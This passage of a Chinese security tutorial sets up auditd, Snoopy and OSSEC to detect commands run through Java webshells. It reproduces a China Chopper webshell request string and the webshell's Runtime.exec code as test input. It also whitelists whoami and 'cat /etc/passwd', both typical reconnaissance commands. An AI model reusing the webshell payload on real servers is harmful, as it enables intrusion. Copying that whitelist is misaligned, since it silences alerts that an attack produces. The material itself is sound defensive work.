根据名称或数字指定一个系统。要指定所有系统调用,可使用all作为系统调用名称。

-F <name[=,!=,<,>,<=]value>

指定一个规则字段。如果为一个规则指定了多个字段,则只有所有字段都为真才能启动一个审计记录。每个规则都必须用-F启动,最多可以指定64个规则。

常用的字段如下:

pid

进程ID。

ppid

父进程的进程ID。

uid

用户ID。

gid

组ID。

msgtype

消息类型号。只应用在排除过滤器列表上。

arch

系统调用的处理器体系结构。指定精确的体系结构,比如i686(可以通过uname -m命令检索)或者指定b32来使用32位系统调用表,或指定b64来使用64位系统调用表。

...

下面我们编写测试Java命令监控规则

Jboss的启动账户为nobody,添加审计规则

# grep '\-a' /etc/audit/audit.rules

-a exclude,always -F msgtype=CONFIG_CHANGE

-a exit,always -F arch=b32 -F uid=99 -S execve -k webshell

重启服务

# service auditd restart

Stopping auditd:                                           [  OK  ]

Starting auditd:                                           [  OK  ]

使用菜刀马测试:

菜刀马传递的参数为

tom=M&z0=GB2312&z1=-c/bin/sh&z2=cd /;whoami;echo [S];pwd;echo [E]

所执行的程序如下:

else if(Z.equals("M")){String[] c={z1.substring(2),z1.substring(0,2),z2};Process p=Runtime.getRuntime().exec(c);

审计日志如下:

type=EXECVE msg=audit(1500273887.809:7496): argc=3 a0="/bin/sh" a1="-c" a2=6364202F7765622F7072.....

然后对照着日志时间戳去找对应的Nginx Access Log中的请求即可定位到webshell。

这里我们添加的规则是针对uid=99的nobody账户,而针对一些环境jboss的启动账户和运维的操作账户相同的情况,可以针对ppid来监控。

 

0x03 snoopy


项目地址:https://github.com/a2o/snoopy

安装步骤如下:

rm -f snoopy-install.sh &&

wget -O snoopy-install.sh https://github.com/a2o/snoopy/raw/install/doc/install/bin/snoopy-install.sh &&

chmod 755 snoopy-install.sh &&

./snoopy-install.sh stable

输出日志:

SNOOPY INSTALL: Starting installation, log file: /tmp/snoopy-install.log

SNOOPY INSTALL: Installation mode: package-latest-stable

SNOOPY INSTALL: Getting latest Snoopy version... got it, 2.4.6

SNOOPY INSTALL: Downloading from http://source.a2o.si/download/snoopy/snoopy-2.4.6.tar.gz... done.

SNOOPY INSTALL: Unpacking ./snoopy-2.4.6.tar.gz... done.

SNOOPY INSTALL: Configuring... done.

SNOOPY INSTALL: Building... done.

SNOOPY INSTALL: Installing... done.

SNOOPY INSTALL: Enabling... done.



SNOOPY LOGGER is now installed and enabled.



TIP #1: If Snoopy is to be enabled for all processes, you need

        to restart your system, or at least all services on it.

// 如果想要Snoopy作用于所有进程,那么需要重启服务器

TIP #2: If you ever need to disable Snoopy, you should use provided

        'snoopy-disable' script. Use 'snoopy-enable' to reenable it.

// 可以snoopy-disable来关掉监控,使用snoopy-enable来开启监控

TIP #3: Snoopy output can usually be found somewhere in /var/log/*

        Check your syslog configuration for details.:

// Snoopy的日志文件位于/var/log/*

TIP #4: Configuration file location: /etc/snoopy.ini

        See included comments for additional configuration options.

// 配置文件/etc/snoopy.ini

Snoopy wishes you a happy logging experience:)

安装完成后会在/usr/local/lib目录下创建libsnoopy.so文件

[root@template log]# ls -alt /usr/local/lib | head -n 10

总用量 8512

drwxr-xr-x.  5 root root    4096 6月   4 11:22 .

-rwxr-xr-x.  1 root root     959 6月   4 11:22 libsnoopy.la

lrwxrwxrwx.  1 root root      18 6月   4 11:22 libsnoopy.so -> libsnoopy.so.0.0.0

lrwxrwxrwx.  1 root root      18 6月   4 11:22 libsnoopy.so.0 -> libsnoopy.so.0.0.0

-rwxr-xr-x.  1 root root  218012 6月   4 11:22 libsnoopy.so.0.0.0

并在/etc/ld.so.preload里加入/usr/local/lib/libsnoopy.so

[root@template log]# cat /etc/ld.so.preload

/usr/local/lib/libsnoopy.so

默认会输出在/var/log/secure

[root@template ~]# tail -n 1 /var/log/secure

Jun  4 16:48:04 template snoopy[2024]: [uid:0 sid:1499 tty:/dev/pts/1 cwd:/root filename:/usr/bin/tail]: tail -n 1 /var/log/secure

执行snoopy-disable

[root@template ~]# snoopy-disable

SNOOPY: Removing from /etc/ld.so.preload: /usr/local/lib/libsnoopy.so

SNOOPY: Disabled.

SNOOPY: Hint: Your system needs to be restarted to finish Snoopy cleanup.

执行snoopy-enable

[root@template ~]# snoopy-enable

SNOOPY: Adding to /etc/ld.so.preload:     /usr/local/lib/libsnoopy.so

SNOOPY: Hint #1: Reboot your machine to load Snoopy system-wide.

SNOOPY: Hint #2: Check your log files for output.

SNOOPY: Enabled.

我们来看下/etc/snoopy.ini中的配置项,日志格式可以自己定义,默认的日志格式如下

; Default value:

;   "[uid:%{uid} sid:%{sid} tty:%{tty} cwd:%{cwd} filename:%{filename}]: %{cmdline}"

可以定制一些过滤条件,例如

; List of available filters:

; - exclude_spawns_of   ; (available=yes) Exclude log entries that occur in specified process trees

; - exclude_uid         ; (available=yes) Exclude these UIDs from logging

; - only_root           ; (available=yes) Only log root commands

; - only_tty            ; (available=yes) Only log commands associated with a TTY

; - only_uid            ; (available=yes) Only log commands executed by these UIDs

可以指定Syslog的Facility

; Default value:

;   LOG_AUTHPRIV

可以指定Syslog的Level

; Default value:

;   LOG_INFO

这里我们测试一下,修改/etc/snoopy.ini配置:

syslog_facility = LOG_LOCAL6

在/etc/rsyslog.conf添加一条配置

local6.info                                             /tmp/snoopy.log

重启rsyslog服务

[root@template ~]# service rsyslog restart

然后我们看下输出

[root@template ~]# tail -n 1 /tmp/snoopy.log

Jun  4 17:00:30 template snoopy[2141]: [uid:0 sid:2068 tty:/dev/pts/2 cwd:/root filename:/usr/bin/tail]: tail -n 1 /tmp/snoopy.log

同样也可以修改rsyslog的配置输出到日志中心。

 

0x04 OSSEC告警配置


这里我使用的是OSSEC监控/var/log/audit/audit.log日志

OSSEC本身已经包含了auditd事件的解码规则,例如:

<decoder name="auditd">

  <prematch>^type=</prematch>

</decoder>

.......

但是在RULES里面没有找到现成的规则,编辑local_rules.xml,新增

<group name="syslog,auditd,">

  <rule id="110000" level="0" noalert="1">

    <decoded_as>auditd</decoded_as>

    <description>AUDITD messages grouped.</description>

  </rule>

  <rule id="110001" level="10">

    <if_sid>110000</if_sid>

    <match>EXECVE</match>

    <description>Java execution command</description>

  </rule>

</group>

测试

[root@localhost ossec]# ./bin/ossec-logtest

2017/07/17 16:28:26 ossec-testrule: INFO: Reading local decoder file.

2017/07/17 16:28:26 ossec-testrule: INFO: Started (pid: 9463).

ossec-testrule: Type one log per line.



type=EXECVE msg=audit(1500273958.180:7500): argc=1 a0="whoami"





**Phase 1: Completed pre-decoding.

       full event: 'type=EXECVE msg=audit(1500273958.180:7500): argc=1 a0="whoami"'

       hostname: 'localhost'

       program_name: '(null)'

       log: 'type=EXECVE msg=audit(1500273958.180:7500): argc=1 a0="whoami"'



**Phase 2: Completed decoding.

       decoder: 'auditd'



**Phase 3: Completed filtering (rules).

       Rule id: '110001'

       Level: '10'

       Description: 'Java execution command'

**Alert to be generated.

然后在Agent端添加监控文件

  <localfile>

    <log_format>syslog</log_format>

    <location>/var/log/audit/audit.log</location>

  </localfile>

然后jspspy执行系统命令,可以看到告警如下

[root@localhost ossec]# tail -f /var/ossec/logs/alerts/alerts.log

** Alert 1500280231.400419: mail  - syslog,auditd,

2017 Jul 17 16:30:31 (agent-31) 10.110.1.31->/var/log/audit/audit.log

Rule: 110001 (level 10) -> 'Java execution command'

type=EXECVE msg=audit(1500280229.507:7665): argc=1 a0="pwd"

这里还需考虑的一个问题是白名单,例如公司的一些站点本身就会调用视频处理的一些功能,也会调用系统命令。所以为了避免误报,需要新增一个白名单功能。

这里我们修改一下local_rules.xml,新增白名单规则,并且放到EXECVE规则上面。

<group name="syslog,auditd,">

  <rule id="110000" level="0" noalert="1">

    <decoded_as>auditd</decoded_as>

    <description>AUDITD messages grouped.</description>

  </rule>

  <rule id="110001" level="0">

    <if_sid>110000</if_sid>

    <regex>whoami|passwd</regex>

    <description>Java execution white list</description>

  </rule>

  <rule id="110002" level="10">

    <if_sid>110000</if_sid>

    <match>EXECVE</match>

    <description>Java execution command</description>

  </rule>

</group>

如上所示,执行whoami和cat /etc/passwd的时候不会产生告警。